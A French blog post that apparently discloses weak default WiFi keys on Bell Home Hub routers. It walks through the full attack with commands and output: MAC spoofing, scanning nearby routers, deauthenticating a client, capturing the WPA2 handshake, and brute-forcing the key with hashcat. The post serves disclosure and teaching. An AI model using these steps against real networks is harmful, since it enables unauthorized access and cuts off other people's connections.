05 Jan

Home HUB Router (2000/3000) de Bell – Faiblesse des clés WIFI

Introduction

Après quelques recherches je me suis aperçu que mon fournisseur d’accès Bell utilisait, semble-t-il, toujours le même jeu de caractères pour définir la clé WIFI et toujours de la même longueur. C’est d’ailleurs indiqué sur leur site : https://soutien.bell.ca/services-internet/aide-connexion/que-signifient-ssid-et-wpa2

Longueur de la clé : 8

Parmi 16 caractères possibles : A B C D E F 0 1 2 3 4 5 6 7 8 9

Ça c’est en observant les clés des différentes versions des routeurs que j’ai eu (HH2000, HH3000…), des connexions WIFI mises à disposition dans certains lieux (chez le dentiste, dans mon immeuble…) et en glanant des informations sur les forums. Mais j’ai un doute sur le chiffre « 0 », car je ne suis même pas certain qu’il soit réellement utilisé, pour ne pas embrouiller le client j’imagine (la lettre « O » avec le chiffre « 0 »). Je dis ça car je ne l’ai jamais vu, mais bon dans le doute, on le garde.

Nombre de possibilités : 16^8

Et oui le calcul est on ne peut plus simple, le nombre de combinaisons possibles est : 4 294 967 296

Cela semble énorme comme nombre à première vue mais attendez la suite… j’ai voulu voir combien de temps cela prenait d’essayer de récupérer la clé avec une attaque par brute-force et ainsi valider ma théorie sur cette liste de caractères.

Matériels et logiciels utilisés

Matériels

J’utilise un portable qui possède notamment une carte graphique dédiée Nvidia GeForce GTX 1050 (4G, GDDR5). Ce n’est pas une carte dernier cri mais suffisamment puissante pour mes besoins, elle consomme peu d’énergie et elle est encore plutôt bien notée : https://www.notebookcheck.net/NVIDIA-GeForce-GTX-1050-Notebook.178614.0.html

Pour la partie WIFI j’ai acheté une antenne externe USB avec le chipset Atheros AR9271, à savoir l’adaptateur Alpha AWUS036NHA. C’est un bon rapport qualité/prix, par contre il n’est compatible qu’avec les fréquences 2.4GHz (cela vient du chipset). Ses caractéristiques ici : https://wikidevi.com/files/datasheets/alfa_network/AWUS036NHA.pdf

J’ai choisi cet adaptateur car il supporte l’injection de paquets (monitor mode) et peut se transformer en point d’accès au besoin (master mode).

Logiciels

J’ai utilisé VMware Workstation player avec une VM Kali (Kali-Linux-2018.4-vm-amd64) pour la partie OS. Elle reconnait de suite l’adaptateur WIFI USB. On peut télécharger la VM ici. Ensuite, j’ai pris la suite aircrack-ng pour capturer le trafic voulu. D’autres outils existent comme Wifite qui font cela automatiquement mais je voulais décortiquer les différentes étapes.

Pour cracker la clé WIFI j’ai utilisé la version Windows de l’application Hashcat (hashcat-5.1.0) disponible . Afin d’avoir des performances optimales avec ma carte graphique.

Capture réseau

Une fois la VM lancée et la session Kali ouverte, il me suffit de connecter mon adaptateur WIFI USB (clic droit sur le dessin d’un petit dongle USB en haut à droite et « connect »).

Avant toute chose, il est préférable de changer temporairement son adresse MAC, pour cela on ouvre le terminal :

# On vérifie le nom de notre interface, ici "wlan0"
root@appareil-inconnu:~# ip link
7: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
    link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff

# On tue les processes qui pourraient perturber l'attaque
root@appareil-inconnu:~# airmon-ng check kill

Killing these processes:

  PID Name
  803 wpa_supplicant

# On active la carte en mode injection de paquets
# Le nom de l'interface passe de "wlan0" à "wlan0mon"
root@appareil-inconnu:~# airmon-ng start wlan0

PHY	Interface	Driver		Chipset
phy2	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n
		(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
		(mac80211 station mode vif disabled for [phy2]wlan0)

# On arrête l'interface wlan0mon
root@appareil-inconnu:~# ifconfig wlan0mon down

# On change son adresse MAC (mode random)
# Nouvelle MAC : 6a:ac:c3:a9:2c:71
root@appareil-inconnu:~# macchanger -r wlan0mon
Current MAC:   XX:XX:XX:XX:XX:XX (ALFA, INC.)
Permanent MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.)
New MAC:       6a:ac:c3:a9:2c:71 (unknown)

# On ré-active l'interface
root@appareil-inconnu:~# ifconfig wlan0mon up

# On vérifie que l'adresse MAC est bien la nouvelle, c'est le cas
root@appareil-inconnu:~# ip link
10: wlan0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000
    link/ieee802.11/radiotap 6a:ac:c3:a9:2c:71 brd ff:ff:ff:ff:ff:ff

Nous allons maintenant pouvoir identifier les routeurs Bell aux alentours, pour cela une seule commande (je masque volontairement les SSID et adresses MAC 🙂 ) :

root@appareil-inconnu:~# airodump-ng wlan0mon --essid-regex ^BELL

 CH  5 ][ Elapsed: 6 s ][ 2018-01-26 14:35 ]                                        
                                                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  -78        1        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -72        3        0    0  10  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -44        3        0    0  11  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -63        5        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
 XX:XX:XX:XX:XX:XX  -69        4        0    0   1  195  WPA2 CCMP   PSK  BELLXXX                                                     
                                                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                             
                                                                                                                                      
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -48    0 - 1e     0        1  VICTIM                                                                  
 (not associated)   XX:XX:XX:XX:XX:XX  -77    0 - 1      1        3  TV_VIZIO

Rapidement on obtient une liste d’équipements, on notera d’ailleurs qu’ils sont tous sur le même schéma au niveau du SSID avec « BELL » suivi de 3 chiffres. Ce qui limite le nombre d’appareils à 1000 en comptant le 0 (on a aussi cette information en haut de l’article sur la première image). Ça me parait peu mais bon, passons.

Pour notre exemple, je vais choisir le 3ème routeur en partant du haut, celui que l’on capte le mieux qui est sur le canal 11 et surtout on voit plus bas qu’un client semble actif (VICTIM). En effet, pour mener à bien notre attaque, nous devons avoir de l’activité avec un client.

Et oui, l’une des options que l’on a pour retrouver la clé déchiffrée est de capturer au préalable ce que l’on appelle le « 4-Way Handshake » (poignée de main à 4 voies). Quelques explications claires ici : https://www.cleartosend.net/understanding-4-way-handshake/

Pour cela, nous avons notamment deux options : attendre qu’un client se connecte ou bien forcer un client déjà connecté à se reconnecter. Dans les deux cas nous serons en mesure de capturer le Handshake. Ici nous serons dans le 2ème cas.

Voici les commandes à utiliser pour provoquer et capturer le Handshake, il faudra ouvrir deux terminaux. Commande à lancer dans le premier terminal :

# On filtre sur notre victime avec le BSSID (adresse MAC du routeur) et le canal
# Et on sauvegarde les données dans un fichier au nom du ESSID
root@appareil-inconnu:~# airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w /root/BELLXXX wlan0mon

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:40 ]                
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -62 100      149      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -60    0 -24      0        4                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -69    0 - 1e     1       14

Dans un second terminal on force l’un des clients actifs à se reconnecter :

# On lance deux fois une commande qui va forcer le client à se déconnecter de l'Acces Point
# On cible pour cela le client avec son adresse MAC, -a avec le BSSID (le routeur cible) et -c pour l'adresse MAC du client
oot@appareil-inconnu:~# aireplay-ng -0 2 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0mon
14:42:16  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 11
14:42:16  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 2|62 ACKs]
14:42:17  Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 7|73 ACKs]

Cela revient à priver la victime de son accès Internet pendant quelques secondes (un mini « DOS » en quelque sorte) mais le client se reconnectera automatiquement, ce sera quasiment transparent pour notre victime.

On revient dans notre premier terminal et bout de quelques secondes on verra apparaître en haut à droite « WPA handshake« , c’est gagné :

 CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:42 ][ WPA handshake: XX:XX:XX:XX:XX:XX                 
                                                                                                
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                
 XX:XX:XX:XX:XX:XX  -65 100      209      250   35  11  195  WPA2 CCMP   PSK  BELL005           
                                                                                                
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                      
                                                                                                
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -63    0 -24     50        130                              
 XX:XX:XX:XX:XX:XX  XX:XX:XX:XX:XX:XX  -70    0 - 1e     1       14                              

On arrête la commande du 1er terminal (CTRL + C) et vous verrez plusieurs fichiers créés dans le répertoire « /root », celui ou ceux qui nous intéressent pour la suite de l’attaque se terminent par « *.cap », ils contiennent le Handshake :

root@appareil-inconnu:~# ll -lt | grep BELLXXX
-rw-r--r-- 1 root root  213545 Jan 26 14:42 BELLXXX-02.cap
-rw-r--r-- 1 root root     861 Jan 26 14:42 BELLXXX-02.csv
-rw-r--r-- 1 root root     590 Jan 26 14:42 BELLXXX-02.kismet.csv
-rw-r--r-- 1 root root    6995 Jan 26 14:42 BELLXXX-02.kismet.netxml
-rw-r--r-- 1 root root   68676 Jan 26 14:42 BELLXXX-02.log.csv
-rw-r--r-- 1 root root   50776 Jan 26 14:41 BELLXXX-01.cap
-rw-r--r-- 1 root root     861 Jan 26 14:41 BELLXXX-01.csv
-rw-r--r-- 1 root root     586 Jan 26 14:41 BELLXXX-01.kismet.csv
-rw-r--r-- 1 root root    6993 Jan 26 14:41 BELLXXX-01.kismet.netxml
-rw-r--r-- 1 root root   45250 Jan 26 14:41 BELLXXX-01.log.csv

Il suffit ensuite de convertir notre fichier « *.cap » dans un format compatible avec l’application Hashcat que l’on utilisera dans la section suivante. Ce dernier propose pour cela un outil de conversion « cap2hccapx.bin » :

# Toujours depuis le répertoire "/root" on lance la commande de conversion
# Elle est présente par défaut dans Kali
root@appareil-inconnu:~# /usr/lib/hashcat-utils/cap2hccapx.bin ./BELLXXX-02.cap ./BELLXXX.hccap
Networks detected: 1

[*] BSSID=XX:XX:XX:XX:XX:XX ESSID=BELLXXX (Length: 7)
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=0, Replay Counter=1
 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: ./BELLXXX.hccap

On se retrouve donc avec un nouveau fichier « BELLXXX.hccap » contenant plusieurs Handshake.

Il sera peut-être nécessaire d’essayer avec les différents fichiers « *.cap », certains ne contiendront pas le Handshake, et vous aurez ce message :

Written 0 WPA Handshakes to: ./BELLXXX.hccap

Passons à la suite.

Récupération de la clé WIFI

La phase de récupération de la clé WIFI se fera « offline », il n’y aura plus d’interactions avec notre victime.

J’ai donc utilisé l’application Hashcat pour Windows, dont vous trouverez le binaire sur le site de l’éditeur ici : https://hashcat.net/hashcat/

Une fois l’archive décompressée, il suffit d’ouvrir une fenêtre DOS, de se rendre dans le répertoire du binaire où l’on aura déposé au préalable le fichier précédemment créé.

On lance ensuite la commande « magique » qui permet de faire une brute-force en testant toutes les combinaisons possibles des 16 caractères pour une longueur de 8 :

C:\Users\admin\Downloads\hashcat-5.1.0>hashcat64.exe -m 2500 -a3 bellXXX.hccap -1 ?dABCDEF ?1?1?1?1?1?1?1?1 -d 3 -w 3
hashcat (v5.1.0) starting...

* Device #1: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) UHD Graphics 630, skipped.
* Device #2: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped.

OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #3: GeForce GTX 1050, 1024/4096 MB allocatable, 5MCU

Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => 

Explications des options utilisées avec cette commande :

  • hashcat64.exe = version 64 bits de l’application
  • -m 2500 = type de Hash que l’on cherche à craquer, ici WPA-EAPOL-PBKDF2
  • -a3 = mode d’attaque, ici Brute-force
  • bellXXX.hccap = notre fichier contenant le Handshake
  • -1 = jeu de caractères personnalisé
  • ?dABCDEF = notre jeu de caractère c-à-d « d » pour 0123456789 et plus ABCDEF
  • ?1?1?1?1?1?1?1?1 = longueur de notre clé WIFI que l’on cherche, à savoir 8 caractères
  • -d 3 = carte graphique que l’on veut utiliser et/ou CPU
  • -w 3 = profil de travail de la carte graphique, cela correspond au niveau « High », niveau 3 sur 4 afin de gagner quelques hashrate sans non plus solliciter celle-ci à fond

En appuyant sur la touche « s » on obtient tout un tas d’informations, notamment le temps estimé maximal pour tester toutes combinaisons et la vitesse de traitement qui s’exprime en Hashrate par seconde :

Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: BELLXXX (AP:XX:XX:XX:XX:XX:XX STA:XX:XX:XX:XX:XX:XX)
Time.Started.....: Fri Jan 26 16:02:07 2018 (3 secs)
Time.Estimated...: Sat Jan 27 04:13:14 2018 (12 hours, 11 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?dABCDEF, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#3.........:    97961 H/s (51.25ms) @ Accel:128 Loops:32 Thr:1024 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/4294967296 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/268435456 (0.00%)
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:1344-1376
Candidates.#3....: 12345678 -> 1F6E7312
Hardware.Mon.#3..: Temp: 58c Util:100% Core:1721MHz Mem:3504MHz Bus:16

Et là surprise, en maximum 12 heures de traitement je devrais être en mesure de découvrir la clé WIFI…mais au bout de deux heures finalement, j’ai déjà une réponse :

2c6956780e4b7b3cea00f6e7492eefaa:5454df9ea0d45:acafc943f271:BELLXXX:A2F7F579 <--- Voici notre clé !

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2

Bingo !

Conclusion

Voilà, je ne m’attendais pas à pouvoir obtenir et craquer ma clé WIFI aussi facilement 😉 Et oui, je n’ai pas voulu prendre de risques avec mes chers voisins ! J’ai laissé la clé WIFI initiale pour mes tests. Blague à part, il est grand temps que WPA3 remplace le vieillissant protocole WPA2, même si tout cela prendra des mois voire des années. Les constructeurs et fournisseurs vont certainement profiter de l’occasion pour forcer les utilisateurs à changer d’équipements, il y aura des périodes bugs etc…

Je n’ai ici montré qu’un seul moyen pour obtenir le sésame, d’autres méthodes sont apparues dont une récente qui ne nécessite même plus de capturer le Handshake, c’est une attaque « sans client ». Mais l’attaque par force brute du mot de passe est toujours nécessaire.

Bref, en attendant WPA3, ce serait bien que les fournisseurs et/ou constructeurs augmentent drastiquement le nombre de caractères de base… En effet, combien de personnes « lambda » changent cette clé à la réception de leur équipement ?…